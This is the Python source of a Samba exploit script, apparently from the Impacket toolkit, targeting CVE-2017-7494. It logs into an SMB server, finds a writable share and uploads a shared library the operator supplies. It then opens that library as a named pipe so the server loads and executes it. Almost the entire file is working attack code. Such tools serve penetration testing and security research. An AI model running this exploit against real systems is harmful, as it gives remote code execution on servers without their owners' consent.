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c328de8 Dec 5, 2018
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@asolino @luzpaz
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#!/usr/bin/env python
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
#
# Author:
# beto (@agsolino)
#
# Description:
# This script will exploit CVE-2017-7494, uploading and executing the shared library specified by the user through
# the -so parameter.
#
# The script will use SMB1 or SMB2/3 depending on the target's availability. Also, the target share pathname is
# retrieved by using NetrShareEnum() API with info level 2.
#
# Example:
#
# ./sambaPipe.py -so poc/libpoc.linux64.so bill@10.90.1.1
#
# It will upload the libpoc.linux64.so file located in the poc directory against the target 10.90.1.1. The username
# to use for authentication will be 'bill' and the password will be asked.
#
# ./sambaPipe.py -so poc/libpoc.linux64.so 10.90.1.1
#
# Same as before, but anonymous authentication will be used.
#
#
import argparse
import logging
import sys
from os import path
from impacket import version
from impacket.examples import logger
from impacket.nt_errors import STATUS_SUCCESS
from impacket.smb import FILE_OPEN, SMB_DIALECT, SMB, SMBCommand, SMBNtCreateAndX_Parameters, SMBNtCreateAndX_Data, \
FILE_READ_DATA, FILE_SHARE_READ, FILE_NON_DIRECTORY_FILE, FILE_WRITE_DATA, FILE_DIRECTORY_FILE
from impacket.smb3structs import SMB2_IL_IMPERSONATION, SMB2_CREATE, SMB2_FLAGS_DFS_OPERATIONS, SMB2Create, SMB2Packet, \
SMB2Create_Response, SMB2_OPLOCK_LEVEL_NONE, SMB2_SESSION_FLAG_ENCRYPT_DATA
from impacket.smbconnection import SMBConnection
class PIPEDREAM:
def __init__(self, smbClient, options):
self.__smbClient = smbClient
self.__options = options
def isShareWritable(self, shareName):
logging.debug('Checking %s for write access' % shareName)
try:
logging.debug('Connecting to share %s' % shareName)
tid = self.__smbClient.connectTree(shareName)
except Exception, e:
logging.debug(str(e))
return False
try:
self.__smbClient.openFile(tid, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE)
writable = True
except Exception, e:
writable = False
pass
return writable
def findSuitableShare(self):
from impacket.dcerpc.v5 import transport, srvs
rpctransport = transport.SMBTransport(self.__smbClient.getRemoteName(), self.__smbClient.getRemoteHost(),
filename=r'\srvsvc', smb_connection=self.__smbClient)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(srvs.MSRPC_UUID_SRVS)
resp = srvs.hNetrShareEnum(dce, 2)
for share in resp['InfoStruct']['ShareInfo']['Level2']['Buffer']:
if self.isShareWritable(share['shi2_netname'][:-1]):
sharePath = share['shi2_path'].split(':')[-1:][0][:-1]
return share['shi2_netname'][:-1], sharePath
raise Exception('No suitable share found, aborting!')
def uploadSoFile(self, shareName):
# Let's extract the filename from the input file pathname
fileName = path.basename(self.__options.so.replace('\\', '/'))
logging.info('Uploading %s to target' % fileName)
fh = open(self.__options.so, 'rb')
self.__smbClient.putFile(shareName, fileName, fh.read)
fh.close()
return fileName
def create(self, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition, fileAttributes,
impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0, oplockLevel=SMB2_OPLOCK_LEVEL_NONE,
createContexts=None):
packet = self.__smbClient.getSMBServer().SMB_PACKET()
packet['Command'] = SMB2_CREATE
packet['TreeID'] = treeId
if self.__smbClient._SMBConnection._Session['TreeConnectTable'][treeId]['IsDfsShare'] is True:
packet['Flags'] = SMB2_FLAGS_DFS_OPERATIONS
smb2Create = SMB2Create()
smb2Create['SecurityFlags'] = 0
smb2Create['RequestedOplockLevel'] = oplockLevel
smb2Create['ImpersonationLevel'] = impersonationLevel
smb2Create['DesiredAccess'] = desiredAccess
smb2Create['FileAttributes'] = fileAttributes
smb2Create['ShareAccess'] = shareMode
smb2Create['CreateDisposition'] = creationDisposition
smb2Create['CreateOptions'] = creationOptions
smb2Create['NameLength'] = len(fileName) * 2
if fileName != '':
smb2Create['Buffer'] = fileName.encode('utf-16le')
else:
smb2Create['Buffer'] = '\x00'
if createContexts is not None:
smb2Create['Buffer'] += createContexts
smb2Create['CreateContextsOffset'] = len(SMB2Packet()) + SMB2Create.SIZE + smb2Create['NameLength']
smb2Create['CreateContextsLength'] = len(createContexts)
else:
smb2Create['CreateContextsOffset'] = 0
smb2Create['CreateContextsLength'] = 0
packet['Data'] = smb2Create
packetID = self.__smbClient.getSMBServer().sendSMB(packet)
ans = self.__smbClient.getSMBServer().recvSMB(packetID)
if ans.isValidAnswer(STATUS_SUCCESS):
createResponse = SMB2Create_Response(ans['Data'])
# The client MUST generate a handle for the Open, and it MUST
# return success and the generated handle to the calling application.
# In our case, str(FileID)
return str(createResponse['FileID'])
def openPipe(self, sharePath, fileName):
# We need to overwrite Impacket's openFile functions since they automatically convert paths to NT style
# to make things easier for the caller. Not this time ;)
treeId = self.__smbClient.connectTree('IPC$')
sharePath = sharePath.replace('\\', '/')
pathName = '/' + path.join(sharePath, fileName)
logging.info('Final path to load is %s' % pathName)
logging.info('Triggering bug now, cross your fingers')
if self.__smbClient.getDialect() == SMB_DIALECT:
_, flags2 = self.__smbClient.getSMBServer().get_flags()
pathName = pathName.encode('utf-16le') if flags2 & SMB.FLAGS2_UNICODE else pathName
ntCreate = SMBCommand(SMB.SMB_COM_NT_CREATE_ANDX)
ntCreate['Parameters'] = SMBNtCreateAndX_Parameters()
ntCreate['Data'] = SMBNtCreateAndX_Data(flags=flags2)
ntCreate['Parameters']['FileNameLength'] = len(pathName)
ntCreate['Parameters']['AccessMask'] = FILE_READ_DATA
ntCreate['Parameters']['FileAttributes'] = 0
ntCreate['Parameters']['ShareAccess'] = FILE_SHARE_READ
ntCreate['Parameters']['Disposition'] = FILE_NON_DIRECTORY_FILE
ntCreate['Parameters']['CreateOptions'] = FILE_OPEN
ntCreate['Parameters']['Impersonation'] = SMB2_IL_IMPERSONATION
ntCreate['Parameters']['SecurityFlags'] = 0
ntCreate['Parameters']['CreateFlags'] = 0x16
ntCreate['Data']['FileName'] = pathName
if flags2 & SMB.FLAGS2_UNICODE:
ntCreate['Data']['Pad'] = 0x0
return self.__smbClient.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate)
else:
return self.create(treeId, pathName, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ,
creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0)
def run(self):
logging.info('Finding a writeable share at target')
shareName, sharePath = self.findSuitableShare()
logging.info('Found share %s with path %s' % (shareName, sharePath))
fileName = self.uploadSoFile(shareName)
logging.info('Share path is %s' % sharePath)
try:
self.openPipe(sharePath, fileName)
except Exception, e:
if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
logging.info('Expected STATUS_OBJECT_NAME_NOT_FOUND received, doesn\'t mean the exploit worked tho')
else:
logging.info('Target likely not vulnerable, Unexpected %s' % str(e))
finally:
logging.info('Removing file from target')
self.__smbClient.deleteFile(shareName, fileName)
# Process command-line arguments.
if __name__ == '__main__':
# Init the example's logger theme
logger.init()
print version.BANNER
parser = argparse.ArgumentParser(add_help=True, description="Samba Pipe exploit")
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
parser.add_argument('-so', action='store', required = True, help='so filename to upload and load')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
group.add_argument('-k', action="store_true",
help='Use Kerberos authentication. Grabs credentials from ccache file '
'(KRB5CCNAME) based on target parameters. If valid credentials '
'cannot be found, it will use the ones specified in the command '
'line')
group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication '
'(128 or 256 bits)')
group = parser.add_argument_group('connection')
group.add_argument('-dc-ip', action='store', metavar="ip address",
help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in '
'the target parameter')
group.add_argument('-target-ip', action='store', metavar="ip address",
help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
'This is useful when target is the NetBIOS name and you cannot resolve it')
group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
help='Destination port to connect to SMB Server')
if len(sys.argv) == 1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
else:
logging.getLogger().setLevel(logging.INFO)
import re
domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
options.target).groups('')
# In case the password contains '@'
if '@' in address:
password = password + '@' + address.rpartition('@')[0]
address = address.rpartition('@')[2]
if options.target_ip is None:
options.target_ip = address
if domain is None:
domain = ''
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
from getpass import getpass
password = getpass("Password:")
if options.aesKey is not None:
options.k = True
if options.hashes is not None:
lmhash, nthash = options.hashes.split(':')
else:
lmhash = ''
nthash = ''
try:
smbClient = SMBConnection(address, options.target_ip, sess_port=int(options.port))#, preferredDialect=SMB_DIALECT)
if options.k is True:
smbClient.kerberosLogin(username, password, domain, lmhash, nthash, options.aesKey, options.dc_ip)
else:
smbClient.login(username, password, domain, lmhash, nthash)
if smbClient.getDialect() != SMB_DIALECT:
# Let's disable SMB3 Encryption for now
smbClient._SMBConnection._Session['SessionFlags'] &= ~SMB2_SESSION_FLAG_ENCRYPT_DATA
pipeDream = PIPEDREAM(smbClient, options)
pipeDream.run()
except Exception, e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.error(str(e))